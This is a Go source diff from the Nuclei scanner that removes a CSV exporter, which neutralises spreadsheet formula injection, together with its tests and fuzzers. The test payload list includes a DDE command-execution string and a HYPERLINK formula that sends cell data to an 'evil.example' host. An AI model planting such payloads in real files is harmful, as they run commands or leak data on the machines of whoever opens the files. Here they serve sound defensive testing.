executerOpts.IsMultiProtocol = true
|
||||
|
||||
request := &Request{ID: "ssl-openssl-custom-ip", Address: "{{Host}}:{{Port}}", ScanMode: "openssl"}
|
||||
require.NoError(t, request.Compile(executerOpts))
|
||||
|
||||
input := contextargs.NewWithInput(context.Background(), net.JoinHostPort("localhost", port))
|
||||
input.MetaInput.CustomIP = "::1"
|
||||
_ = request.ExecuteWithResults(input, nil, nil, func(*output.InternalWrappedEvent) {})
|
||||
require.Zero(t, deniedHandshakes.Load(), "openssl connected to a denied custom ip")
|
||||
}
|
||||
@@ -1,310 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
const (
|
||||
// defaultFile is used when no file is configured, mirroring the PDF
|
||||
// exporter. The generated default reporting config lists every exporter with
|
||||
// an empty block, and an empty block must not stop the client from starting.
|
||||
defaultFile = "nuclei-results.csv"
|
||||
|
||||
// filePerm keeps the export private to the current user. Rows carry
|
||||
// extracted response data and a replayable curl command, which can include
|
||||
// credentials, so the file is not world readable by default.
|
||||
filePerm = 0o600
|
||||
|
||||
// multiValueSeparator separates the elements of a multi-value cell.
|
||||
multiValueSeparator = "\n"
|
||||
)
|
||||
|
||||
// Options contains the configuration options for the CSV exporter client
|
||||
type Options struct {
|
||||
// File is the file to export found CSV result to
|
||||
File string `yaml:"file"`
|
||||
// OmitRaw whether to leave the curl command, which is a rendering of the raw
|
||||
// request, out of the export
|
||||
OmitRaw bool `yaml:"omit-raw"`
|
||||
}
|
||||
|
||||
// header is the ordered list of columns written to the CSV file.
|
||||
//
|
||||
// The schema is a flattened full row of the result event: everything a triage
|
||||
// or GRC workflow normally needs is present as its own column, so the file can
|
||||
// be opened in a spreadsheet or handed to a ticketing/SIEM intake without any
|
||||
// further transformation.
|
||||
//
|
||||
// Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one so
|
||||
// a column can always be traced back to the field it came from, and match the
|
||||
// names httpx uses in its own CSV mode where they overlap (host, port,
|
||||
// timestamp). The two exceptions are template-name and template-type, which map
|
||||
// to info.name and type: bare "name"/"type" are ambiguous as spreadsheet
|
||||
// headers.
|
||||
var header = []string{
|
||||
"template-id",
|
||||
"template-name",
|
||||
"template-type",
|
||||
"severity",
|
||||
"host",
|
||||
"ip",
|
||||
"port",
|
||||
"matched-at",
|
||||
"matcher-name",
|
||||
"extractor-name",
|
||||
"extracted-results",
|
||||
"cve-id",
|
||||
"cwe-id",
|
||||
"cvss-metrics",
|
||||
"cvss-score",
|
||||
"description",
|
||||
"reference",
|
||||
"curl-command",
|
||||
"timestamp",
|
||||
}
|
||||
|
||||
// Exporter is an exporter for nuclei results in CSV format
|
||||
type Exporter struct {
|
||||
options *Options
|
||||
mutex *sync.Mutex
|
||||
writer *csv.Writer
|
||||
outputFile *os.File
|
||||
closed bool
|
||||
}
|
||||
|
||||
// New creates a new CSV exporter integration client based on options.
|
||||
func New(options *Options) (*Exporter, error) {
|
||||
opts := &Options{}
|
||||
if options != nil {
|
||||
*opts = *options
|
||||
}
|
||||
if opts.File == "" {
|
||||
opts.File = defaultFile
|
||||
}
|
||||
|
||||
outputFile, err := os.OpenFile(opts.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePerm)
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "failed to create CSV file")
|
||||
}
|
||||
|
||||
writer := csv.NewWriter(outputFile)
|
||||
if err := writer.Write(header); err != nil {
|
||||
_ = outputFile.Close()
|
||||
return nil, errors.Wrap(err, "failed to write CSV header")
|
||||
}
|
||||
writer.Flush()
|
||||
if err := writer.Error(); err != nil {
|
||||
_ = outputFile.Close()
|
||||
return nil, errors.Wrap(err, "failed to write CSV header")
|
||||
}
|
||||
|
||||
return &Exporter{
|
||||
mutex: &sync.Mutex{},
|
||||
options: opts,
|
||||
writer: writer,
|
||||
outputFile: outputFile,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Export appends the passed result event as a flattened row to the CSV file.
|
||||
// Rows are flushed as they are written so the file is complete and readable
|
||||
// while a long scan is still running. The event is only read, never modified,
|
||||
// because the same event is handed to every exporter and tracker.
|
||||
func (exporter *Exporter) Export(event *output.ResultEvent) error {
|
||||
if event == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
exporter.mutex.Lock()
|
||||
defer exporter.mutex.Unlock()
|
||||
|
||||
if exporter.closed {
|
||||
return errors.New("CSV exporter is closed")
|
||||
}
|
||||
|
||||
if err := exporter.writer.Write(formatRow(event, exporter.options.OmitRaw)); err != nil {
|
||||
return errors.Wrap(err, "failed to write CSV row")
|
||||
}
|
||||
exporter.writer.Flush()
|
||||
if err := exporter.writer.Error(); err != nil {
|
||||
return errors.Wrap(err, "failed to write CSV row")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
|
||||
// Google Sheets treat as the start of a formula. A cell beginning with one of
|
||||
// them is evaluated when the file is opened, so a response-derived value such
|
||||
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
|
||||
// of whoever opens the export (CWE-1236).
|
||||
const formulaTriggers = "=+-@\t\r"
|
||||
|
||||
// plainNumber matches a value that is only a decimal number. It is used to keep
|
||||
// numeric cells such as a negative extracted value sortable. It is deliberately
|
||||
// stricter than strconv.ParseFloat, which also accepts forms like "+Inf",
|
||||
// "-NaN" and hex floats that a spreadsheet does not read as numbers.
|
||||
var plainNumber = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`)
|
||||
|
||||
// startsWithFormulaTrigger reports whether a spreadsheet would read the value
|
||||
// as a formula. Leading spaces and control characters are skipped first,
|
||||
// because some spreadsheets ignore them before the trigger.
|
||||
func startsWithFormulaTrigger(value string) bool {
|
||||
for i := 0; i < len(value); i++ {
|
||||
c := value[i]
|
||||
if strings.IndexByte(formulaTriggers, c) >= 0 {
|
||||
return true
|
||||
}
|
||||
if c > ' ' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
|
||||
// would evaluate as a formula, which forces the cell to be read as text.
|
||||
//
|
||||
// The original value is recovered by removing one leading apostrophe, except
|
||||
// for a value that already started with an apostrophe, which is left alone and
|
||||
// is therefore indistinguishable from a neutralized one. Values that are only a
|
||||
// plain number are left untouched so numeric columns (cvss-score, port) stay
|
||||
// sortable and a negative number is not needlessly quoted.
|
||||
func neutralizeFormula(value string) string {
|
||||
if !startsWithFormulaTrigger(value) || plainNumber.MatchString(value) {
|
||||
return value
|
||||
}
|
||||
return "'" + value
|
||||
}
|
||||
|
||||
// neutralizeLines neutralizes every line of a value that is stored as a list
|
||||
// of lines. Consumers split these cells back into lines, so each line has to be
|
||||
// safe on its own and not just the start of the cell. Line endings are
|
||||
// normalized to a single newline, which is the separator of the list.
|
||||
func neutralizeLines(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
value = strings.ReplaceAll(value, "\r\n", "\n")
|
||||
value = strings.ReplaceAll(value, "\r", "\n")
|
||||
lines := strings.Split(value, "\n")
|
||||
for i, line := range lines {
|
||||
lines[i] = neutralizeFormula(line)
|
||||
}
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// neutralizeList joins the elements of a multi-value column with the given
|
||||
// separator after neutralizing each element, and each line of each element.
|
||||
func neutralizeList(values []string, separator string) string {
|
||||
if len(values) == 0 {
|
||||
return ""
|
||||
}
|
||||
neutralized := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
neutralized = append(neutralized, neutralizeLines(value))
|
||||
}
|
||||
return strings.Join(neutralized, separator)
|
||||
}
|
||||
|
||||
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
|
||||
// by header. Empty values are emitted for fields that are not present on the
|
||||
// event (for example, templates without CVE/CVSS classification metadata).
|
||||
//
|
||||
// Two separate escaping concerns are handled here. Structural injection is
|
||||
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
|
||||
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
|
||||
// formula evaluation is handled by neutralizeFormula, because the target of
|
||||
// this exporter is explicitly a file someone opens in a spreadsheet. Every
|
||||
// column goes through it, including the ones that normally hold a controlled
|
||||
// value, because template metadata is written by the template author and is not
|
||||
// trusted either.
|
||||
func formatRow(event *output.ResultEvent, omitRaw bool) []string {
|
||||
var cve, cwe, cvssMetrics, cvssScore string
|
||||
if event.Info.Classification != nil {
|
||||
classification := event.Info.Classification
|
||||
// CVE/CWE identifiers cannot contain a comma, so they keep the ", "
|
||||
// form used everywhere else in nuclei.
|
||||
cve = neutralizeList(classification.CVEID.ToSlice(), ", ")
|
||||
cwe = neutralizeList(classification.CWEID.ToSlice(), ", ")
|
||||
cvssMetrics = classification.CVSSMetrics
|
||||
if classification.CVSSScore > 0 {
|
||||
cvssScore = strconv.FormatFloat(classification.CVSSScore, 'f', -1, 64)
|
||||
}
|
||||
}
|
||||
|
||||
// References are URLs and can themselves contain a comma, so they are
|
||||
// newline separated inside the (quoted) cell rather than comma separated.
|
||||
var reference string
|
||||
if event.Info.Reference != nil {
|
||||
reference = neutralizeList(event.Info.Reference.ToSlice(), multiValueSeparator)
|
||||
}
|
||||
|
||||
var curlCommand string
|
||||
if !omitRaw {
|
||||
curlCommand = event.CURLCommand
|
||||
}
|
||||
|
||||
var timestamp string
|
||||
if !event.Timestamp.IsZero() {
|
||||
timestamp = event.Timestamp.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
return []string{
|
||||
neutralizeFormula(event.TemplateID),
|
||||
neutralizeFormula(event.Info.Name),
|
||||
neutralizeFormula(event.Type),
|
||||
neutralizeFormula(event.Info.SeverityHolder.Severity.String()),
|
||||
neutralizeFormula(event.Host),
|
||||
neutralizeFormula(event.IP),
|
||||
neutralizeFormula(event.Port),
|
||||
neutralizeFormula(event.Matched),
|
||||
neutralizeFormula(event.MatcherName),
|
||||
neutralizeFormula(event.ExtractorName),
|
||||
// Extracted results are arbitrary response-derived data and can contain
|
||||
// commas and newlines, so they are newline separated inside the
|
||||
// (quoted) cell, with every line neutralized on its own.
|
||||
neutralizeList(event.ExtractedResults, multiValueSeparator),
|
||||
cve,
|
||||
cwe,
|
||||
neutralizeFormula(cvssMetrics),
|
||||
neutralizeFormula(cvssScore),
|
||||
neutralizeFormula(event.Info.Description),
|
||||
reference,
|
||||
neutralizeFormula(curlCommand),
|
||||
neutralizeFormula(timestamp),
|
||||
}
|
||||
}
|
||||
|
||||
// Close flushes any buffered rows and closes the CSV file. It is safe to call
|
||||
// more than once.
|
||||
func (exporter *Exporter) Close() error {
|
||||
exporter.mutex.Lock()
|
||||
defer exporter.mutex.Unlock()
|
||||
|
||||
if exporter.closed {
|
||||
return nil
|
||||
}
|
||||
exporter.closed = true
|
||||
|
||||
exporter.writer.Flush()
|
||||
if err := exporter.writer.Error(); err != nil {
|
||||
_ = exporter.outputFile.Close()
|
||||
return errors.Wrap(err, "failed to flush CSV file")
|
||||
}
|
||||
|
||||
if err := exporter.outputFile.Close(); err != nil {
|
||||
return errors.Wrap(err, "failed to close CSV file")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,450 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
// payloads are values a spreadsheet would evaluate. Every one of them has to be
|
||||
// neutralized wherever it lands in a row.
|
||||
var payloads = []string{
|
||||
`=cmd|'/C calc'!A0`,
|
||||
`=HYPERLINK("http://evil.example/?d="&A1,"x")`,
|
||||
`+1+1`,
|
||||
`-2+3`,
|
||||
`@SUM(1+1)`,
|
||||
"\t=1+1",
|
||||
"\r=1+1",
|
||||
" =1+1",
|
||||
"\n=1+1",
|
||||
}
|
||||
|
||||
// hostileEvent puts the given value into every string field of the event that
|
||||
// ends up in the CSV, including the template metadata fields.
|
||||
func hostileEvent(value string) *output.ResultEvent {
|
||||
return &output.ResultEvent{
|
||||
TemplateID: value,
|
||||
Type: value,
|
||||
Info: model.Info{
|
||||
Name: value,
|
||||
Description: value,
|
||||
Reference: stringslice.NewRawStringSlice([]string{value, "https://example.com", value}),
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{value, "CVE-2020-0001"}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", value}},
|
||||
CVSSMetrics: value,
|
||||
CVSSScore: 9.8,
|
||||
},
|
||||
},
|
||||
Host: value,
|
||||
IP: value,
|
||||
Port: value,
|
||||
Matched: value,
|
||||
MatcherName: value,
|
||||
ExtractorName: value,
|
||||
ExtractedResults: []string{value, "ok", value},
|
||||
CURLCommand: value,
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesEveryColumn is the guard against a column being
|
||||
// added or changed without going through neutralizeFormula. The payload is put
|
||||
// in every field, so a column that skips it shows up as an unsafe cell.
|
||||
func TestCSVExporterNeutralizesEveryColumn(t *testing.T) {
|
||||
for _, payload := range payloads {
|
||||
t.Run(fmt.Sprintf("%q", payload), func(t *testing.T) {
|
||||
records := export(t, hostileEvent(payload))
|
||||
require.Len(t, records, 2)
|
||||
row := records[1]
|
||||
require.Len(t, row, len(header))
|
||||
|
||||
for i, cell := range row {
|
||||
name := header[i]
|
||||
if startsWithFormulaTrigger(cell) && !plainNumber.MatchString(cell) {
|
||||
t.Errorf("column %s is a formula: %q", name, cell)
|
||||
}
|
||||
}
|
||||
|
||||
// list columns are split back into elements and lines by consumers,
|
||||
// so each of those has to be safe too
|
||||
for _, name := range []string{"extracted-results", "reference", "cve-id", "cwe-id"} {
|
||||
cell := row[column(t, name)]
|
||||
separator := "\n"
|
||||
if name == "cve-id" || name == "cwe-id" {
|
||||
separator = ", "
|
||||
}
|
||||
for _, element := range strings.Split(cell, separator) {
|
||||
for _, line := range strings.Split(element, "\n") {
|
||||
if startsWithFormulaTrigger(line) && !plainNumber.MatchString(line) {
|
||||
t.Errorf("column %s has an element that is a formula: %q", name, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterNeutralizesEmbeddedLinesInLists covers a multi-line
|
||||
// extracted result. Joined with the list separator, its second line becomes an
|
||||
// element of its own for anyone who splits the cell.
|
||||
func TestCSVExporterNeutralizesEmbeddedLinesInLists(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
ExtractedResults: []string{"harmless\n=cmd|'/C calc'!A0", "a\r\n@SUM(1)", "b\r+1+1", "-5"},
|
||||
Info: model.Info{
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
Reference: stringslice.NewRawStringSlice([]string{"https://a.example\n=1+1"}),
|
||||
},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t,
|
||||
[]string{"harmless", "'=cmd|'/C calc'!A0", "a", "'@SUM(1)", "b", "'+1+1", "-5"},
|
||||
strings.Split(row[column(t, "extracted-results")], "\n"))
|
||||
require.Equal(t,
|
||||
[]string{"https://a.example", "'=1+1"},
|
||||
strings.Split(row[column(t, "reference")], "\n"))
|
||||
}
|
||||
|
||||
func TestCSVExporterNeutralizesTemplateAuthoredMetadata(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Info: model.Info{
|
||||
Name: "n",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Low},
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: "=cmd|'/C calc'!A0"},
|
||||
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "@SUM(1)"}},
|
||||
CVSSMetrics: "+cmd",
|
||||
},
|
||||
},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t, "'=cmd|'/C calc'!A0", row[column(t, "cve-id")])
|
||||
require.Equal(t, "CWE-79, '@SUM(1)", row[column(t, "cwe-id")])
|
||||
require.Equal(t, "'+cmd", row[column(t, "cvss-metrics")])
|
||||
}
|
||||
|
||||
func TestCSVExporterLeavesBenignValuesAlone(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "tech-detect",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Wappalyzer Technology Detection",
|
||||
Description: "- bullet one\n- bullet two",
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
Host: "http://example.com/a=b+c",
|
||||
Port: "8080",
|
||||
ExtractedResults: []string{"nginx/1.25", "-1", "+7", "3.14"},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
row := export(t, event)[1]
|
||||
require.Equal(t, "http://example.com/a=b+c", row[column(t, "host")])
|
||||
require.Equal(t, "8080", row[column(t, "port")])
|
||||
require.Equal(t, "nginx/1.25\n-1\n+7\n3.14", row[column(t, "extracted-results")])
|
||||
require.Equal(t, "2025-06-01T00:00:00Z", row[column(t, "timestamp")])
|
||||
}
|
||||
|
||||
func TestCSVExporterOmitRaw(t *testing.T) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Host: "example.com",
|
||||
CURLCommand: "curl -H 'Authorization: Bearer secret' 'https://example.com'",
|
||||
Request: "GET / HTTP/1.1",
|
||||
Response: "HTTP/1.1 200 OK",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
}
|
||||
|
||||
for _, omit := range []bool{false, true} {
|
||||
t.Run(fmt.Sprintf("omit-raw=%t", omit), func(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file, OmitRaw: omit})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.NotContains(t, string(raw), "GET / HTTP/1.1", "the raw request is never part of the schema")
|
||||
require.NotContains(t, string(raw), "HTTP/1.1 200 OK", "the raw response is never part of the schema")
|
||||
|
||||
cell := readCSV(t, file)[1][column(t, "curl-command")]
|
||||
if omit {
|
||||
require.Empty(t, cell)
|
||||
require.NotContains(t, string(raw), "secret")
|
||||
} else {
|
||||
require.Contains(t, cell, "Authorization: Bearer secret")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterDoesNotMutateEvent(t *testing.T) {
|
||||
event := hostileEvent("=1+1")
|
||||
before := *hostileEvent("=1+1")
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file, OmitRaw: true})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
require.Equal(t, before, *event, "the event is shared with other exporters and must stay untouched")
|
||||
require.Equal(t, "=1+1", event.CURLCommand)
|
||||
}
|
||||
|
||||
func TestCSVExporterZeroTimestampIsEmpty(t *testing.T) {
|
||||
row := export(t, &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
|
||||
})[1]
|
||||
require.Empty(t, row[column(t, "timestamp")])
|
||||
}
|
||||
|
||||
func TestCSVExporterNilEvent(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(nil))
|
||||
require.NoError(t, exporter.Close())
|
||||
require.Len(t, readCSV(t, file), 1, "only the header is written")
|
||||
}
|
||||
|
||||
func TestCSVExporterDefaultFile(t *testing.T) {
|
||||
for name, options := range map[string]*Options{
|
||||
"nil options": nil,
|
||||
"empty options": {},
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
|
||||
exporter, err := New(options)
|
||||
require.NoError(t, err, "an empty block in a reporting config must not fail")
|
||||
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "t"}))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, defaultFile)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, header, records[0])
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterDoesNotMutateOptions(t *testing.T) {
|
||||
t.Chdir(t.TempDir())
|
||||
options := &Options{}
|
||||
exporter, err := New(options)
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
require.Empty(t, options.File, "the caller's options are copied, not edited")
|
||||
}
|
||||
|
||||
func TestCSVExporterFilePermissions(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("unix permission bits are not enforced on windows")
|
||||
}
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
info, err := os.Stat(file)
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
|
||||
}
|
||||
|
||||
func TestCSVExporterTruncatesExistingFile(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
require.NoError(t, os.WriteFile(file, []byte(strings.Repeat("stale,row\n", 100)), 0o600))
|
||||
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
require.Len(t, readCSV(t, file), 1)
|
||||
raw, err := os.ReadFile(file)
|
||||
require.NoError(t, err)
|
||||
require.NotContains(t, string(raw), "stale")
|
||||
}
|
||||
|
||||
func TestCSVExporterInvalidPath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
for name, path := range map[string]string{
|
||||
"missing parent directory": filepath.Join(dir, "missing", "results.csv"),
|
||||
"directory": dir,
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
exporter, err := New(&Options{File: path})
|
||||
require.Error(t, err)
|
||||
require.Nil(t, exporter)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVExporterClose(t *testing.T) {
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "before"}))
|
||||
|
||||
require.NoError(t, exporter.Close())
|
||||
require.NoError(t, exporter.Close(), "closing twice is harmless")
|
||||
require.Error(t, exporter.Export(&output.ResultEvent{TemplateID: "after"}), "no writes after close")
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Equal(t, "before", records[1][column(t, "template-id")])
|
||||
}
|
||||
|
||||
// TestCSVExporterConcurrentExport runs under -race in CI. The reporting client
|
||||
// calls Export from every scan goroutine.
|
||||
func TestCSVExporterConcurrentExport(t *testing.T) {
|
||||
const workers, perWorker = 16, 50
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for w := range workers {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for i := range perWorker {
|
||||
err := exporter.Export(&output.ResultEvent{
|
||||
TemplateID: fmt.Sprintf("w%d-%d", w, i),
|
||||
Host: "example.com",
|
||||
ExtractedResults: []string{"a,b", "multi\nline", `q"uote`},
|
||||
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("export: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, workers*perWorker+1)
|
||||
seen := map[string]bool{}
|
||||
for _, record := range records[1:] {
|
||||
require.Len(t, record, len(header), "rows must never interleave")
|
||||
require.Equal(t, "a,b\nmulti\nline\nq\"uote", record[column(t, "extracted-results")])
|
||||
require.False(t, seen[record[0]], "duplicate row %s", record[0])
|
||||
seen[record[0]] = true
|
||||
}
|
||||
}
|
||||
|
||||
// TestCSVExporterLargeValues makes sure big response-derived values are written
|
||||
// whole and do not break the row structure.
|
||||
func TestCSVExporterLargeValues(t *testing.T) {
|
||||
big := strings.Repeat("A,\"\n", 64*1024)
|
||||
row := export(t, &output.ResultEvent{
|
||||
TemplateID: "t",
|
||||
ExtractedResults: []string{big},
|
||||
Info: model.Info{
|
||||
Description: big,
|
||||
SeverityHolder: severity.Holder{Severity: severity.Info},
|
||||
},
|
||||
})
|
||||
require.Equal(t, big, row[1][column(t, "description")])
|
||||
require.Equal(t, big, row[1][column(t, "extracted-results")])
|
||||
require.Len(t, row, 2)
|
||||
require.Len(t, row[1], len(header))
|
||||
}
|
||||
|
||||
func FuzzNeutralizeFormula(f *testing.F) {
|
||||
for _, seed := range append([]string{"", "a", "-1", "+Inf", "'=x", "=", "\x00=", "é"}, payloads...) {
|
||||
f.Add(seed)
|
||||
}
|
||||
f.Fuzz(func(t *testing.T, value string) {
|
||||
got := neutralizeFormula(value)
|
||||
if got != value {
|
||||
require.Equal(t, "'"+value, got, "the only change allowed is one leading apostrophe")
|
||||
require.True(t, startsWithFormulaTrigger(value))
|
||||
}
|
||||
if startsWithFormulaTrigger(got) {
|
||||
require.True(t, plainNumber.MatchString(got), "a formula start survived: %q", got)
|
||||
}
|
||||
require.Equal(t, got, neutralizeFormula(got), "neutralizing twice changes nothing")
|
||||
})
|
||||
}
|
||||
|
||||
// FuzzFormatRow checks the guarantees that matter for any input: the row always
|
||||
// has one cell per column, survives a CSV round trip, and no cell or list line
|
||||
// is left as a formula.
|
||||
func FuzzFormatRow(f *testing.F) {
|
||||
for _, seed := range payloads {
|
||||
f.Add(seed, seed, seed)
|
||||
}
|
||||
f.Add("plain", "a,b\n\"c\"", "x\r\ny")
|
||||
f.Fuzz(func(t *testing.T, a, b, c string) {
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: a,
|
||||
Type: b,
|
||||
Host: c,
|
||||
Matched: a,
|
||||
ExtractedResults: []string{a, b, c},
|
||||
CURLCommand: b,
|
||||
Info: model.Info{
|
||||
Name: c,
|
||||
Description: a,
|
||||
SeverityHolder: severity.Holder{Severity: severity.Medium},
|
||||
Reference: stringslice.NewRawStringSlice([]string{b, c}),
|
||||
Classification: &model.Classification{
|
||||
CVEID: stringslice.StringSlice{Value: []string{a}},
|
||||
CWEID: stringslice.StringSlice{Value: []string{b}},
|
||||
CVSSMetrics: c,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
file := filepath.Join(t.TempDir(), "results.csv")
|
||||
exporter, err := New(&Options{File: file})
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, exporter.Export(event))
|
||||
require.NoError(t, exporter.Close())
|
||||
|
||||
records := readCSV(t, file)
|
||||
require.Len(t, records, 2)
|
||||
require.Len(t, records[1], len(header))
|
||||
for i, cell := range records[1] {
|
||||
if header[i] == "extracted-results" || header[i] == "reference" ||
|
||||
header[i] == "cve-id" || header[i] == "cwe-id" {
|
||||
for _, line := range strings.Split(cell, "\n") {
|
||||
if startsWithFormulaTrigger(line) {
|
||||
require.True(t, plainNumber.MatchString(line), "column %s line %q", header[i], line)
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if startsWithFormulaTrigger(cell) {
|
||||
require.True(t, plainNumber.MatchString(cell), "column %s cell %q", header[i], cell)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -1,390 +0,0 @@
|
||||
package csv
|
||||
|
||||
import (
|
||||
encodingcsv "encoding/csv"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
)
|
||||
|
||||
// readCSV is a small helper that fully parses the exporter output back into
|
||||
// records so assertions are made against decoded CSV rather than raw bytes.
|
||||
func readCSV(t *testing.T, path string) [][]string {
